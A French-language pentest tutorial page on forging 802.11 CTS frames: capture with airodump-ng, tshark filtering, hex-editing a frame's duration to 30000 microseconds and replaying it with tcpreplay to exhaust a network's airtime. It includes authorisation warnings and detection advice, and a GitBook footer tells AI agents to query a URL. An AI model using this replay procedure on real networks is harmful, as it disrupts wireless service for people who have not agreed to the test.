> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).

# Attaque de trames CTS - détournement de la bande passante réseau

Analyser les trames de contrôle CTS et leur effet sur la disponibilité du médium sans fil.

La norme IEEE 802.11 définit RTS (*Demande d'envoi*) et CTS (*Autorisation d'envoi*) comme trames de contrôle pour réduire les collisions prolongées causées par des nœuds cachés.

### Trames de contrôle RTS et CTS

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCxYTFIdw8tv93vmGcIms%2F%7B82B0E335-2263-4B11-9B72-618A4886B3DA%7D.png?alt=media&amp;token=3621485f-3155-4c77-aafa-3e1c99e4f398" alt="" width="375"><figcaption></figcaption></figure>

Une trame CTS inclut une valeur de durée. Cette valeur est exprimée en microsecondes et varie de `0` en `32767`.

### Inspecter une trame CTS

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5uQvoWPz5mbQENdJ4Uhl%2F%7BEAF8A9A0-09BB-416E-87C8-EDA22CBE5B5B%7D.png?alt=media&amp;token=6a7328f5-187f-47d4-bd23-5177d4848e90" alt=""><figcaption></figcaption></figure>

Une valeur de durée anormalement élevée peut réserver le médium sans fil plus longtemps que prévu. L'adresse du récepteur identifie le point d'accès, et le FCS fournit la vérification de l'intégrité de la trame.

{% hint style="warning" %}
Avant de tester les trames de contrôle, confirmez l'autorisation, les appareils cibles et les étapes de récupération. Des trames CTS manipulées peuvent perturber la connectivité sans fil.
{% endhint %}

### Capturer le réseau autorisé

Lancez Airodump-ng sur le canal cible :

{% code overflow="wrap" %}

```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```

{% endcode %}

### Identifier les trames CTS

Utilisez TShark pour afficher les trames CTS de la capture :

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```

{% endcode %}

La sortie confirme si la capture contient des trames CTS (*Autorisation d'envoi*) .

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F8LDlVGnPcS4v2T5T3ayk%2F%7BDF019832-768B-43D6-87BE-7A843690595F%7D.png?alt=media&amp;token=9afe24e4-eea7-4011-80b1-e2ce0fcb3fd5" alt=""><figcaption></figcaption></figure>

### Examiner les valeurs de durée

Lister les valeurs de durée CTS uniques :

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```

{% endcode %}

Sinon, inspectez le champ de durée dans la sortie JSON :

{% code overflow="wrap" %}

```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJFZw1RMT6zdKcIz7WBig%2F%7BA9746E6B-E7EA-4A42-A192-9F2B7E14BE2C%7D.png?alt=media&amp;token=b48e652f-a728-4e22-af66-ca8a7e34ffb4" alt=""><figcaption></figcaption></figure>

### Valider l'impact

Utilisez un point d'accès dédié et un client de test. Enregistrez une référence de base avant d'introduire toute trame de test.

1. Mesurez le débit normal, la latence et la perte de paquets.
2. Utilisez le BSSID du point d'accès comme adresse du récepteur.
3. Comparez les mesures après le test limité.

Une durée de `30000` représente 30 millisecondes. Le champ de durée utilise des microsecondes, et non des millisecondes.

### Interpréter les résultats

Des trames CTS répétées avec des valeurs de durée élevées peuvent amener les stations à proximité à différer leur transmission. Cela réduit le temps d'antenne disponible et peut diminuer le débit du réseau.

Comparez les valeurs de durée capturées avec la référence de base. Notez si les clients restent connectés et si les performances se rétablissent après l'arrêt du test.

### Documenter les constatations défensives

Indiquez le canal affecté, le point d'accès, la durée du test et l'impact observé sur le client. Incluez les mesures de base et de récupération.

Surveillez les trames CTS répétées avec des valeurs de durée inhabituelles. Maintenez le micrologiciel du point d'accès à jour et enquêtez sur toute saturation inattendue du temps d'antenne.

### Inspecter les trames CTS avec Wireshark

Ouvrez la capture directement dans Wireshark :

{% code overflow="wrap" %}

```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```

{% endcode %}

Appliquez le filtre d'affichage suivant :

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

Les détails IEEE 802.11 affichent également la valeur de durée (110 microsecondes)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGLJQbWkmcb7GubibzeSm%2F%7B23210DB6-6743-41F1-8332-DF822D6D9D56%7D.png?alt=media&amp;token=5e640d25-5059-4d01-9164-2d54096af7d5" alt=""><figcaption></figcaption></figure>

### Exporter une trame CTS sélectionnée

Sélectionnez une trame CTS et utilisez **Fichier → Exporter les paquets spécifiés**. Choisissez **Paquet sélectionné uniquement** pour n'exporter que cette trame.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FnYuPSmnjnpKvaARwIr6L%2F%7B2BE715F8-7661-466E-B708-4A066CF1F918%7D.png?alt=media&amp;token=8b7b9e00-8c98-434e-973b-7429a86d6544" alt=""><figcaption></figcaption></figure>

### Inspecter la trame exportée avec GHex

Ouvrez la capture exportée avec GHex :

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &  
```

{% endcode %}

Le fichier exporté peut ne pas contenir la trame attendue. Dans ce cas, capturez directement depuis l'interface en mode moniteur et vérifiez la trame dans Wireshark.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fd08nszJEOKhDmoAnXf1W%2F%7B0534BE4D-5D1E-469F-970B-C27922720AEB%7D.png?alt=media&amp;token=2117cfad-2e41-4360-aba2-ba896b7477f9" alt=""><figcaption></figcaption></figure>

### Capturer directement avec Wireshark

Capturez directement lorsque le fichier exporté ne contient pas la trame CTS attendue.

Ouvrez Wireshark, sélectionnez l' `wlan0mon` interface, puis appliquez le filtre d'affichage CTS :

{% code overflow="wrap" %}

```bash
wlan.fc.type_subtype==28
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FO2CfilRpIRNAypKoqIwC%2F%7B69AE25D8-57F9-45B4-BDB6-526FF1ABED20%7D.png?alt=media&amp;token=c3391596-c2fe-467a-9908-c9e7121d4939" alt=""><figcaption></figcaption></figure>

Par exemple, la première trame affiche une durée de 132 microsecondes. Vérifiez que son adresse de destination correspond au point d'accès de test autorisé.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJP2YnPa6MYGxqGheuGF%2F%7B0E68F015-660F-4787-9FDD-253A19173820%7D.png?alt=media&amp;token=37726b42-e0d6-4f1a-9351-4a310288adbe" alt=""><figcaption></figcaption></figure>

Exportez la trame sélectionnée sous `ctsframe.pcap`.

Ouvrez le fichier et localisez la valeur de durée. Les octets après l'adresse MAC de 12 caractères sont `84 00`.

{% code overflow="wrap" %}

```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FohBOZtHFDaO22nCfRXoY%2F%7B1C5725CF-AAD4-4583-8351-9F97B600C784%7D.png?alt=media&amp;token=4d34fb7d-8bfe-42ff-829b-cfda168055af" alt=""><figcaption></figcaption></figure>

Conversion de `0x0084` en décimal donne la même valeur affichée dans le paquet : 132.

{% code overflow="wrap" %}

```
python 

0x0084
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FaDHfG66b1LsR2lipdO4M%2F%7B92A2A5B4-9573-4147-89C7-36FB890F5E2F%7D.png?alt=media&amp;token=41cfc760-760f-4063-8107-11840b72f916" alt=""><figcaption></figcaption></figure>

Convertir 30000 en hexadécimal :

{% code overflow="wrap" %}

```python
python

hex(30000)
```

{% endcode %}

Le résultat est :

* 0x7530

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNlcsACV20cVlu3EgZzAC%2F%7B4B610428-0F06-4222-862A-2510B08995F4%7D.png?alt=media&amp;token=8235a42b-3fc6-4990-a670-14cf23c56ac3" alt=""><figcaption></figcaption></figure>

Pour ce test limité, remplacez `84 00` par `30 75`. Les octets utilisent l'ordre little-endian.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FsdSUTauJ0CLQSChtCqT2%2F%7B6B478B0A-AAD7-4C45-800C-9BEFB89265AD%7D.png?alt=media&amp;token=61e943eb-8180-4a91-a02f-0fcdc62dcb7c" alt=""><figcaption></figcaption></figure>

Ouvrez à nouveau la capture pour vérifier la modification :

{% code overflow="wrap" %}

```bash
wireshark ctsframe.pcap  > /dev/null 2>&1 & disown
```

{% endcode %}

Wireshark affiche maintenant une durée de 30 000 microsecondes.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FChz4XHGAXrJAVAbHfg28%2F%7BCF7AAF3A-4C86-46A0-B655-83081F129D76%7D.png?alt=media&amp;token=ed8dcfd7-908b-49c7-891f-ad6bde8c2d61" alt=""><figcaption></figcaption></figure>

Avant d'utiliser la commande suivante, confirmez l'appareil cible, le canal, la durée et la fenêtre de récupération. Elle transmet à plusieurs reprises la trame de test pour mesurer l'impact sur le réseau.

{% code overflow="wrap" %}

```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null 
```

{% endcode %}

La commande boucle sur 2 000 paquets. Chaque paquet annonce une durée de 30 000 microsecondes, ce qui peut épuiser le temps d'antenne disponible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhBcWVuoooxHl2RU7zFL0%2F%7B16E5A880-97BA-4D46-B71C-A6BCF5159476%7D.png?alt=media&amp;token=b267aad2-2db8-45f3-8927-12ff7d7afe9d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
